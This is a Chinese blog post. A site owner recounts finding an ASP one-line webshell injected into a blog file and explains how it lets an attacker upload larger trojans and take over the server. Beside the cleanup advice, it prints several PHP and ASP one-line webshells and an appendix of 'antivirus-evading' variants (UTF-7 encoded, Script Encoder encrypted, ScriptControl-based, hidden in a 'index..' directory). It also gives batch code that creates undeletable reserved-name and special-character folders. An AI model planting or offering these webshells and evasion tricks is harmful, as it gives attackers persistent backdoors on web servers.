近日志文工作室被上传了asp木马程序,因此还被菜鸟小黑加QQ嘲弄一番,感觉很是诧异。通过排查,原来是不知何时(至少在半年前了),博客目录下的一文件末尾被插入了asp一句话木马代码,如下示:
if request(chr(35))<>"" then ExecuteGlobal request(chr(35)) end if
一句话木马
那么,这个所谓的“一句话”有什么作用呢?
通过它,我们可以以post小型木马程序代码的方式访问该文件,由ExecuteGlobal执行该代码,从而在服务器上生成小木马程序。通过小木马程序,可以再执行其相关功能,上传生成功能齐全的大型木马。此时就可以操控很大一部分的服务器权限了。如果服务器上的安全做的不够,比如internet来宾账户的权限足够大,那么服务器提权获取shell就成为很容易了。
php一句话木马
对于php程序也有类似的一句话,而相关原理也是类似的。
例如:
1、构造正则内容替换post数据
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['code'],"Access");
2、通过include嵌入get内容源码
$filename=$_GET['xbid']; include ($filename);
3、eval_r函数执行psot数据
<?php eval_r($_POST)?>
4、服务器端脚本调用eval_r函数执行post数据
<script language="php">@eval_r($_POST)</script>
5、//危险的include函数,直接编译任何文件为php格式运行,POST www.lzw.me/index.php?uid=/home/www/bbs/image.gif
include ($uid);
另类特殊文件无法删除:系统设备名保留字文件的创建和删除
此外还有个问题,就是该木马以系统设备名作前缀命名(prn.*.asp),并且设置了系统文件属性(RHSA),因此导致该文件无法直接删除。
既然asp木马获取了部分执行权限,通过webshell的cmd命令执行方式,很容易生成一个这样的文件。
那么如何理解这个文件呢?
其实这是以系统保留字命名的文件,标准界面下无法直接创建和删除,但是在cmd命令下,可以以POSIX风格命令来创建和删除。
NTFS格式磁盘支持POSIX子系统,在该子系统下一些形如prn的文件名是有效的,操作系统假定该程序可以对它们进行创建和删除操作。因此,我们可以在POSIX子系统理使用本地命令。
常见的系统保留字有这些(Con, Prn, Aux, Nul, Lpt1, Lpt2, Com1, Com2),一般它们是作为设备名使用的。
例如,我们可以通过如下方法重现该文件的产生过程:
首先进入cmd命令行下(win+r输入cmd),执行命令:
在d:test文件夹下建立了文件prn.qIn.asp,内容为asp cockhorse code
echo asp cockhorse code> \.d:testprn.qIn.asp
用记事本或其他编辑器编辑该文件:
notepad \.d:testprn.qIn.asp
设置系统、隐藏等属性:
attrib +r +a +s +h \.d:testprn.qIn.asp
删除该文件:
del /a/f/q \.d:testprn.qIn.asp
对于该类文件的删除,我们也可以使用如下方式:
DEL /F /A /Q \?%1
RD /S /Q \?%1
新建一个批处理文件,内容如上,然后将要删除的文件拖放到其名称上面即可。具体也可参考该文章:
超强批处理删除任意文件和文件夹:http://lzw.me/Category/Tech/334.html
附录:
1. 另类免杀一句话asp木马
<%execute request(“#”)%> <%execute request(chr(35))%> <script language=VBScript runat=server>if request(chr(35))<>”"”" then ExecuteGlobal request(chr(35)) </script> <%ExecuteGlobal request(chr(35))%> <%eval request(“#”)%>
上面的是正常的SHELL,下面是变形的,
utf-7的马
<%@ codepage=65000%> <% response.Charset=”936″%> <%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
用include包含一个图片,图片最好是通过copy /b a.jpg+b.asp+c.jpg d.jpg生成出来的
要绕过lake2的话,用几个变量加常量的方法定义图片名再包含就可以了
<%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″) ms.Language=”VBScript” ms.AddObject “Response”, Response ms.AddObject “request”, request ms.AddObject “session”, session ms.AddObject “server”, server ms.AddObject “application”, application ms.ExecuteStatement (“ex”&”ecute(request(chr(35)))”)%>
Script Encoder 加密
<%@ LANGUAGE = VBScript.Encode %> %#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%
另类的,利用windows的目录漏洞,建立..目录里面放一句话
Set fso=Server.CreateObject(“Scripting.FileSystemObject”) path=server.mappath(“/”) Set f = fso.CreateFolder(path&”index..”) Set a = fso.CreateTextFile(path&”index..1.asp”, True) a.WriteLine”<script language=VBScript runat=server>if request(“”&pass&”")<>”"”" then” a.WriteLine”response.clear” a.WriteLine”Execute request(chr(35))” a.WriteLine”response.end” a.WriteLine”end if” a.WriteLine”</script>”
复制创建特殊文件
<% dim fs,f set fs=Server.CreateObject("Scripting.FileSystemObject") set f=fs.GetFile("D:webaspmumado.asp") f.Copy "D:webaspmumacom8.do.asp",false set f=nothing set fs=nothing %>
2. 批处理创建、访问、重命名、删除畸形文件/文件夹
【方案一】以点结尾的文件夹
代码:
rem 创建以点结尾的文件夹
md "C:test"
md "C:testbatcher.."
代码:
rem 把以点结尾的文件夹重命名为普通文件夹
rem 短文件名可以使用dir/x命令获得
ren "C:testBATCHE~1" "batcher"
代码:
rem 把普通文件夹重命名为以点结尾的文件夹
ren "C:testbatcher" "batcher../"
代码:
rem 打开以点结尾的文件夹
start "" "C:testbatcher.."
代码:
rem 进入以点结尾的文件夹
rem 短文件名可以使用dir/x命令获得
cd "C:testNEW~1"
代码:
rem 向以点结尾的文件夹中复制文件
copy "C:testa.txt" "C:testbatcher.."
代码:
rem 删除以点结尾的文件夹中的文件
rem 短文件名可以使用dir/x命令获得
del /a /f /q "C:testNEW~1a.txt"
代码:
rem 修改以点结尾的文件的属性为“隐藏”
@echo off
set DstFile=C:testbatcher>"%temp%FileProperty.vbs"
echo Set objFSO = CreateObject("Scripting.FileSystemObject").GetFile("")>>"%temp%FileProperty.vbs"
echo objFSO.Attributes=objFSO.Attributes+2>>"%temp%FileProperty.vbs"
cscript /nologo "%temp%FileProperty.vbs"
代码:
rem 删除以点结尾的文件夹
rd /s /q "C:testbatcher.."
【方案二】以空格结尾的文件夹
基本操作与方案一大致相同,此处不再赘述。
【方案三】系统保留字文件夹(Con, Prn, Aux, Nul, Lpt1, Com1, Com2)
代码:
rem 创建系统保留字文件夹
md "C:testbatcher"
md "C:testbatchercon"
代码:
rem 打开系统保留字文件夹
start "" "C:testbatchercon"
代码:
rem 向系统保留字文件夹中复制文件
copy "C:testbatchera.txt" "C:testbatchercon"
代码:
rem 删除系统保留字文件夹中的文件
del /a /f /q "C:testbatchercona.txt"
代码:
rem 删除系统保留字文件夹
rd /s /q "C:testbatchercon"
【方案四】特殊字符文件夹(, /, :, *, ?, ", <, >, |)
代码:
rem 创建特殊字符文件夹
@echo off
set "DstFolder=C:testbatcherA"
if exist "%DstFolder%" (
echo 文件夹%DstFolder%已存在
goto :eof
)
md "%DstFolder%"
>"%DstFolder%desktop.ini" echo [.ShellClassInfo]
>>"%DstFolder%desktop.ini" echo LocalizedResourceName=BatHome,-1
attrib +s +h "%DstFolder%desktop.ini"
>%temp%UnlockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [9]
regini %temp%UnlockReg.txt
>%temp%LockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [8]
>>%temp%LockReg.txt echo "BatHome,-1" = REG_SZ "|"
regini %temp%LockReg.txt
attrib +s "%DstFolder%"
代码:
rem 创建无法直接删除的特殊字符文件夹
@echo off
set "DstFolder=C:testbatcherB"
if exist "%DstFolder%" (
rem echo y|cacls "\?%DstFolder%nul" /g everyone:f
rem attrib -r -a -s -h "\?%DstFolder%nul"
rem del /a /f /q "\?%DstFolder%nul"
echo 文件夹%DstFolder%已存在
goto :eof
)
md "%DstFolder%"
>"%DstFolder%desktop.ini" echo [.ShellClassInfo]
>>"%DstFolder%desktop.ini" echo LocalizedResourceName=BatHome,-1
attrib +s +h "%DstFolder%desktop.ini"
>"\?%DstFolder%nul" echo.
attrib +s +h "%DstFolder%desktop.ini"
>%temp%UnlockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [9]
regini %temp%UnlockReg.txt
>%temp%LockReg.txt echo HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellLocalizedResourceName [8]
>>%temp%LockReg.txt echo "BatHome,-1" = REG_SZ "|"
regini %temp%LockReg.txt
attrib +r +a +s +h "\?%DstFolder%nul"
echo y|cacls "\?%DstFolder%nul" /d everyone>nul
attrib +s +r "%DstFolder%"
这年头最怕木马了,都不敢乱下载网上的主题了·!
z这个好可怕,木马要杀完。